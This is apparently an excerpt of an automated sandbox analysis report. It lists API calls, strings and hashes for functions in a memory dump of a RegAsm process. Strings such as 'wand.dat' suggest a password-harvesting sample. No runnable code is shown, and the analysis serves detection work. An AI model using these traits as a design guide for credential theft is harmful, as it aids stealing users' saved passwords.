                      • Instruction ID: 68224c9aa4b31b20fa5037399352f9c2f04b40a845063e8f60522cdb36b448b3
                      • Opcode Fuzzy Hash: d5ff2a264155eb9e3ce85c6bda5726e1366a88793ef295ade9d945fa0d444da7
                      • Instruction Fuzzy Hash: DE01A4B150412DBEAF115FA99C80CAF7E7CEA463FC721422AF514E2290DA345E405AB9
                      Function 0040D441 Relevance: 7.5, APIs: 5, Instructions: 49COMMON
                      Download Yara Rule
                      APIs
                      • GetParent.USER32(?), ref: 0040D453
                      • GetWindowRect.USER32(?,?), ref: 0040D460
                      • GetClientRect.USER32(00000000,?), ref: 0040D46B
                      • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0040D47B
                      • SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 0040D497
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Window$Rect$ClientParentPoints
                      • String ID:
                      • API String ID: 4247780290-0
                      • Opcode ID: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                      • Instruction ID: 8744084584fea1eb3916f9079d499296a2dd08f7759f51c0708cf8f54c9212ed
                      • Opcode Fuzzy Hash: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                      • Instruction Fuzzy Hash: 62018836801129BBDB11EBA6CC49EFFBFBCFF06310F048069F901A2180D778A5018BA5
                      Function 00445093 Relevance: 7.5, APIs: 5, Instructions: 46COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      • GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                      • ??2@YAPAXI@Z.MSVCRT ref: 004450BE
                      • memset.MSVCRT ref: 004450CD
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      • ??3@YAXPAX@Z.MSVCRT ref: 004450F0
                        • Part of subcall function 00444E84: memchr.MSVCRT ref: 00444EBF
                        • Part of subcall function 00444E84: memcpy.MSVCRT ref: 00444F63
                        • Part of subcall function 00444E84: memcpy.MSVCRT ref: 00444F75
                        • Part of subcall function 00444E84: memcpy.MSVCRT ref: 00444F9D
                      • CloseHandle.KERNEL32(00000000), ref: 004450F7
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Filememcpy$??2@??3@CloseCreateHandleReadSizememchrmemset
                      • String ID:
                      • API String ID: 1471605966-0
                      • Opcode ID: e6bd7317cd4251b1e8eae304c5381edf11c17e01417ca171e36e0e10a1f16311
                      • Instruction ID: af7e2442fb2a0afe256a59df9b01c6fa6c67666c78107f96d02934f32f814c95
                      • Opcode Fuzzy Hash: e6bd7317cd4251b1e8eae304c5381edf11c17e01417ca171e36e0e10a1f16311
                      • Instruction Fuzzy Hash: D8F0C2765002107BE5207736AC8AEAB3A5CDF96771F11893FF416921D2EE698814C1BD
                      Function 0044474A Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45COMMON
                      Download Yara Rule
                      APIs
                      • wcscpy.MSVCRT ref: 0044475F
                      • wcscat.MSVCRT ref: 0044476E
                      • wcscat.MSVCRT ref: 0044477F
                      • wcscat.MSVCRT ref: 0044478E
                        • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                        • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                        • Part of subcall function 00409A90: lstrcpyW.KERNEL32(?,?), ref: 00409AA5
                        • Part of subcall function 00409A90: lstrlenW.KERNEL32(?), ref: 00409AAC
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcscat$lstrcpylstrlenmemcpywcscpywcslen
                      • String ID: \StringFileInfo\
                      • API String ID: 102104167-2245444037
                      • Opcode ID: ab9a2aafb99aa2c2dc16e93ced4cdbf5d312534483fca915021789ec54b8a1ce
                      • Instruction ID: e4f437c51a7ffcfb72b972a214432876dbdec8abc2c75880463b8380eb377783
                      • Opcode Fuzzy Hash: ab9a2aafb99aa2c2dc16e93ced4cdbf5d312534483fca915021789ec54b8a1ce
                      • Instruction Fuzzy Hash: 41018FB290021DB6EF10EAA1DC45EDF73BCAB05304F0004B7B514F2052EE38DB969B69
                      Function 0040E8E0 Relevance: 7.5, APIs: 5, Instructions: 41COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: 7720251f6b3597deba6bb463f6abe47e07af712d95c5f1ebbc7652e386869f9d
                      • Instruction ID: 8b058f36177a858601f18eb469b8e3bd7c1df3fc7b9e847ab044313c89d6339d
                      • Opcode Fuzzy Hash: 7720251f6b3597deba6bb463f6abe47e07af712d95c5f1ebbc7652e386869f9d
                      • Instruction Fuzzy Hash: 98F012B25047015FD760AF6AA8C491BF3E9AB597147668C3FF149D3641CB38FC508A1C
                      Function 0040F508 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$??3@
                      • String ID: g4@
                      • API String ID: 3314356048-2133833424
                      • Opcode ID: d5a05b92b3455112f10c9f31d65c512587a8559eeac8cc3fc14f0db32937a076
                      • Instruction ID: 6372a4083673351870aa2a156e9431cadfa41d37230e9e7fabcd635cb7c3c96e
                      • Opcode Fuzzy Hash: d5a05b92b3455112f10c9f31d65c512587a8559eeac8cc3fc14f0db32937a076
                      • Instruction Fuzzy Hash: D2217A30900604EFCB20DF29C94182ABBF5FF447247204A7EE852A3B91E735EE119B04
                      Function 004100D7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004100FB
                      • memset.MSVCRT ref: 00410112
                        • Part of subcall function 0040F5BE: wcscpy.MSVCRT ref: 0040F5C3
                        • Part of subcall function 0040F5BE: _wcslwr.MSVCRT ref: 0040F5FE
                      • _snwprintf.MSVCRT ref: 00410141
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$_snwprintf_wcslwrwcscpy
                      • String ID: </%s>
                      • API String ID: 3400436232-259020660
                      • Opcode ID: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                      • Instruction ID: d6b380c41b5e3e458bf6abeca455f552dea24a705517b0a2e3702c553642f250
                      • Opcode Fuzzy Hash: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                      • Instruction Fuzzy Hash: 9B01DBF3D0012977D730A755CC46FEA76ACEF45304F0000B6BB08B3186DB78DA458A99
                      Function 0040D553 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040D58D
                      • SetWindowTextW.USER32(?,?), ref: 0040D5BD
                      • EnumChildWindows.USER32(?,Function_0000D4F5,00000000), ref: 0040D5CD
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ChildEnumTextWindowWindowsmemset
                      • String ID: caption
                      • API String ID: 1523050162-4135340389
                      • Opcode ID: c23acb22e5a8502154e4be65b33a4ced3ce6ae2c099f2d24681839129fd3d8a7
                      • Instruction ID: dcfab03f3ae0740f4c11e1fd8af26e22289cdce227bdcda27870e2dbaf68b2c3
                      • Opcode Fuzzy Hash: c23acb22e5a8502154e4be65b33a4ced3ce6ae2c099f2d24681839129fd3d8a7
                      • Instruction Fuzzy Hash: 50F08131D0031876FB206B95CC4EB8A3268AB04744F000076BE04B61D2DBB8EA44C69D
                      Function 00401137 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00409BFD: memset.MSVCRT ref: 00409C07
                        • Part of subcall function 00409BFD: wcscpy.MSVCRT ref: 00409C47
                      • CreateFontIndirectW.GDI32(?), ref: 00401156
                      • SendDlgItemMessageW.USER32(?,000003EC,00000030,00000000,00000000), ref: 00401175
                      • SendDlgItemMessageW.USER32(?,000003EE,00000030,?,00000000), ref: 00401193
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
                      • String ID: MS Sans Serif
                      • API String ID: 210187428-168460110
                      • Opcode ID: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                      • Instruction ID: 44e142790c58e2983bb51e892a2c7280827b5342727586ee11fe1c2be2fb852b
                      • Opcode Fuzzy Hash: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                      • Instruction Fuzzy Hash: 7CF082B5A4030877EB326BA1DC46F9A77BDBB44B01F040935F721B91D1D3F4A585C658
                      Function 0041D893 Relevance: 6.3, APIs: 5, Instructions: 82COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$memcmp
                      • String ID:
                      • API String ID: 3384217055-0
                      • Opcode ID: b300709f8a896244993036e355843064c877904d0b203d23fc10c8ecfa49f6ec
                      • Instruction ID: f5df6941464580ef2fdae31f27b7f31021858bb2d0e37ec30fcb1df3a02010a9
                      • Opcode Fuzzy Hash: b300709f8a896244993036e355843064c877904d0b203d23fc10c8ecfa49f6ec
                      • Instruction Fuzzy Hash: 8821B2B2E10249ABDB14EA91DC46EDF73FC9B44704F01442AF512D7181EB28E644C725
                      Function 00412A2A Relevance: 6.3, APIs: 5, Instructions: 50COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$memcpy
                      • String ID:
                      • API String ID: 368790112-0
                      • Opcode ID: 97945d52b79a003f2428fc236831fd74eb0a020fff419a73dba27ff1a1f4f0ec
                      • Instruction ID: abb90bdd0bd5c960a46cc99acd1c91865272cbbdb433919b32c204757dd19146
                      • Opcode Fuzzy Hash: 97945d52b79a003f2428fc236831fd74eb0a020fff419a73dba27ff1a1f4f0ec
                      • Instruction Fuzzy Hash: 0201FCB5740B007BF235AB35CC03F9A73A8AF52724F004A1EF153966C2DBF8A554819D
                      Function 004055C5 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040560C
                        • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                        • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                        • Part of subcall function 0040D134: memcpy.MSVCRT ref: 0040D24C
                        • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                        • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                        • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                        • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                        • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                        • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                        • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4D2
                        • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                        • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4F3
                        • Part of subcall function 0040A212: wcscpy.MSVCRT ref: 0040A269
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                      • String ID: *.*$dat$wand.dat
                      • API String ID: 2618321458-1828844352
                      • Opcode ID: 5e8bba3b09b46c55a34cdaf5677a7ea6a58b6119ecbf68cda4806ea60e88d929
                      • Instruction ID: e27ea46a2f82f1f177a07810d763c9ecc86b2647b265d762bc330c580f82b585
                      • Opcode Fuzzy Hash: 5e8bba3b09b46c55a34cdaf5677a7ea6a58b6119ecbf68cda4806ea60e88d929
                      • Instruction Fuzzy Hash: BF419B71600205AFDB10AF65DC85EAEB7B9FF40314F10802BF909AB1D1EF7999958F89
                      Function 00412018 Relevance: 6.1, APIs: 4, Instructions: 99windowkeyboardCOMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 00412057
                        • Part of subcall function 0040A116: ShellExecuteW.SHELL32(?,open,?,0044E518,0044E518,00000005), ref: 0040A12C
                      • SendMessageW.USER32(00000000,00000423,00000000,00000000), ref: 004120C7
                      • GetMenuStringW.USER32(?,00000103,?,0000004F,00000000), ref: 004120E1
                      • GetKeyState.USER32(00000010), ref: 0041210D
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ExecuteMenuMessageSendShellStateStringmemset
                      • String ID:
                      • API String ID: 3550944819-0
                      • Opcode ID: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                      • Instruction ID: 97bad96470fefb965444fbd8e179d7ef3b872eae7f66eff2ef5a186de824ffeb
                      • Opcode Fuzzy Hash: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                      • Instruction Fuzzy Hash: 5341C330600305EBDB209F15CD88B9677A8AB54324F10817AEA699B2E2D7B89DD1CB14
                      Function 0040A8D0 Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                      Download Yara Rule
                      APIs
                      • wcslen.MSVCRT ref: 0040A8E2
                        • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                        • Part of subcall function 004099F4: memcpy.MSVCRT ref: 00409A28
                        • Part of subcall function 004099F4: ??3@YAXPAX@Z.MSVCRT ref: 00409A31
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                      • memcpy.MSVCRT ref: 0040A94F
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$memcpy$mallocwcslen
                      • String ID:
                      • API String ID: 3023356884-0
                      • Opcode ID: 4562b1f94f0a461de08a7f5e91ae4aaaeb7b7426ec7425c8aec4e78307d57c52
                      • Instruction ID: f32a9ac0308abec2140ef864181b54c8d04bf3279582b466e144db770ea3622c
                      • Opcode Fuzzy Hash: 4562b1f94f0a461de08a7f5e91ae4aaaeb7b7426ec7425c8aec4e78307d57c52
                      • Instruction Fuzzy Hash: 64217CB2200704EFC720DF18D88189AB3F9FF453247118A2EF866AB6A1CB35AD15CB55
                      Function 0040B1D1 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                      Download Yara Rule
                      APIs
                      • wcslen.MSVCRT ref: 0040B1DE
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040B201
                        • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                        • Part of subcall function 004099F4: memcpy.MSVCRT ref: 00409A28
                        • Part of subcall function 004099F4: ??3@YAXPAX@Z.MSVCRT ref: 00409A31
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040B224
                      • memcpy.MSVCRT ref: 0040B248
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$memcpy$mallocwcslen
                      • String ID:
                      • API String ID: 3023356884-0
                      • Opcode ID: 6ce6fee0dcc9b9c9ebe83d30a233e08065b6d511c8ed6dc8d89b241ff4cd5fb7
                      • Instruction ID: 71128cbd9221161776fa816c6212d75478d488e0bdd8d9cf72ea7cd81dda7be0
                      • Opcode Fuzzy Hash: 6ce6fee0dcc9b9c9ebe83d30a233e08065b6d511c8ed6dc8d89b241ff4cd5fb7
                      • Instruction Fuzzy Hash: 02215BB2500604EFD720DF18D881CAAB7F9EF49324B114A6EE452976A1CB35B9158B98
                      Function 0041298C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 67COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy
                      • String ID: @
                      • API String ID: 3510742995-2766056989
                      • Opcode ID: 871df5fef43ba47fad24df649b94f0d233f9868d8bda670e26c25dba733484ff
                      • Instruction ID: b25eae0e74258469ce0af521155fdf6a80f479b4e9ffe9ec94392e3587c9c40c
                      • Opcode Fuzzy Hash: 871df5fef43ba47fad24df649b94f0d233f9868d8bda670e26c25dba733484ff
                      • Instruction Fuzzy Hash: 65115EF2A003057FDB349E15D980C9A77A8EF50394B00062FF90AD6151E7B8DEA5C7D9
                      Function 0040B0D1 Relevance: 6.1, APIs: 4, Instructions: 55stringCOMMON
                      Download Yara Rule
                      APIs
                      • strlen.MSVCRT ref: 0040B0D8
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040B0FB
                        • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                        • Part of subcall function 004099F4: memcpy.MSVCRT ref: 00409A28
                        • Part of subcall function 004099F4: ??3@YAXPAX@Z.MSVCRT ref: 00409A31
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040B12C
                      • memcpy.MSVCRT ref: 0040B159
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$memcpy$mallocstrlen
                      • String ID:
                      • API String ID: 1171893557-0
                      • Opcode ID: 1032aca3c4d565b21c9c93c1da03fa01242ca6c05261a3900927d5bb2d17b358
                      • Instruction ID: 61abf4b4d63bdfee40e3433ef4540d9b033b11d4199be086b3082c0bee804e2f
                      • Opcode Fuzzy Hash: 1032aca3c4d565b21c9c93c1da03fa01242ca6c05261a3900927d5bb2d17b358
                      • Instruction Fuzzy Hash: CA113A712042019FD711DB98FC499267B66EB8733AB25833BF4045A2A3CBB99834865F
                      Function 004144BB Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004144E7
                        • Part of subcall function 0040A353: _snwprintf.MSVCRT ref: 0040A398
                        • Part of subcall function 0040A353: memcpy.MSVCRT ref: 0040A3A8
                      • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00414510
                      • memset.MSVCRT ref: 0041451A
                      • GetPrivateProfileStringW.KERNEL32(?,?,0044E518,?,00002000,?), ref: 0041453C
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
                      • String ID:
                      • API String ID: 1127616056-0
                      • Opcode ID: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
                      • Instruction ID: e03fcf36bb778615f94f946172f2cadce4c7e53e7889dedf6030812535802df7
                      • Opcode Fuzzy Hash: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
                      • Instruction Fuzzy Hash: 9A1170B1500119BFEF115F65EC02EDA7B69EF04714F100066FB09B2060E6319A60DB9D
                      Function 00417434 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                      Download Yara Rule
                      APIs
                      • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,756F18FE,?,0041755F,?), ref: 00417452
                      • malloc.MSVCRT ref: 00417459
                      • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,756F18FE,?,0041755F,?), ref: 00417478
                      • ??3@YAXPAX@Z.MSVCRT ref: 0041747F
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharMultiWide$??3@malloc
                      • String ID:
                      • API String ID: 4284152360-0
                      • Opcode ID: 04ed014176e6e25a75c769d411d0e5b4418e4c479d680d12870536ad94e91e4d
                      • Instruction ID: 8389f0226c663b3c6d8c6253af8546a3d73aba679155ae8f7c82d0c1376384d0
                      • Opcode Fuzzy Hash: 04ed014176e6e25a75c769d411d0e5b4418e4c479d680d12870536ad94e91e4d
                      • Instruction Fuzzy Hash: 1DF0E9B620D21E3F7B006AB55CC0C7B7B9CD7862FCB11072FF51091180E9594C1116B6
                      Function 004123E2 Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00412403
                      • RegisterClassW.USER32(?), ref: 00412428
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0041242F
                      • CreateWindowExW.USER32(00000000,00000000,0044E518,00CF0000,00000000,00000000,00000280,000001E0,00000000,00000000,00000000), ref: 00412455
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModule$ClassCreateRegisterWindow
                      • String ID:
                      • API String ID: 2678498856-0
                      • Opcode ID: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                      • Instruction ID: 2742b6e08e64d4f702ac0bdc031c2178a10537c5a2141806c9029dd5a11ba4c1
                      • Opcode Fuzzy Hash: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                      • Instruction Fuzzy Hash: E601E5B1941228ABD7119FA68C89ADFBEBCFF09B14F10411AF514A2240D7B456408BE9
                      Function 004173E4 Relevance: 6.0, APIs: 4, Instructions: 41COMMON
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,00417D63,?,?,00417D63,00418178,00000000,?,004183E5,?,00000000), ref: 004173FF
                      • malloc.MSVCRT ref: 00417407
                      • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,?,00417D63,00418178,00000000,?,004183E5,?,00000000,00000000,?), ref: 0041741E
                      • ??3@YAXPAX@Z.MSVCRT ref: 00417425
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharMultiWide$??3@malloc
                      • String ID:
                      • API String ID: 4284152360-0
                      • Opcode ID: 3df1ff1ad5f7619570b5295ff2d6745c95529d6511ab958c6202ec18d606cc9c
                      • Instruction ID: cad4d062c051d68cf548c6c9b5623cfc012c7edadb1d539185634ca375d1558c
                      • Opcode Fuzzy Hash: 3df1ff1ad5f7619570b5295ff2d6745c95529d6511ab958c6202ec18d606cc9c
                      • Instruction Fuzzy Hash: E7F0377620921E7BDA1029655C40D77779CEB8B675B11072BBA10D21C1ED59D81005B5
                      Function 0040F64E Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040F673
                      • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00007FFF,00000000,00000000,?,<item>), ref: 0040F690
                      • strlen.MSVCRT ref: 0040F6A2
                      • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040F6B3
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharFileMultiWideWritememsetstrlen
                      • String ID:
                      • API String ID: 2754987064-0
                      • Opcode ID: 3f0454cb73c2afb10a3316e2dc28fa1dd1c693e32e23138b57773469a51e87f3
                      • Instruction ID: e5447571fde1e0de43d26e7f5909b1ba013d3ab3fbf9ce0dfcc5e01eb4e41d37
                      • Opcode Fuzzy Hash: 3f0454cb73c2afb10a3316e2dc28fa1dd1c693e32e23138b57773469a51e87f3
                      • Instruction Fuzzy Hash: 03F062B680102C7FEB81A794DC81DEB77ACEB05258F0080B2B715D2140E9749F484F7D
                      Function 0040F6BD Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040F6E2
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000,?,<item>), ref: 0040F6FB
                      • strlen.MSVCRT ref: 0040F70D
                      • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040F71E
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharFileMultiWideWritememsetstrlen
                      • String ID:
                      • API String ID: 2754987064-0
                      • Opcode ID: 7e04724105a3fa4aadef5922e8bb643722353f9661974f919d975e4a71db6ff5
                      • Instruction ID: 4069f22fd96ae38f7b0fbed24adb75974e75abfa9f51d26af0f678a77882025e
                      • Opcode Fuzzy Hash: 7e04724105a3fa4aadef5922e8bb643722353f9661974f919d975e4a71db6ff5
                      • Instruction Fuzzy Hash: C8F06DB780022CBFFB059B94DCC8DEB77ACEB05254F0000A2B715D2042E6749F448BB8
                      Function 00414770 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 40COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcscpy$CloseHandle
                      • String ID: General
                      • API String ID: 3722638380-26480598
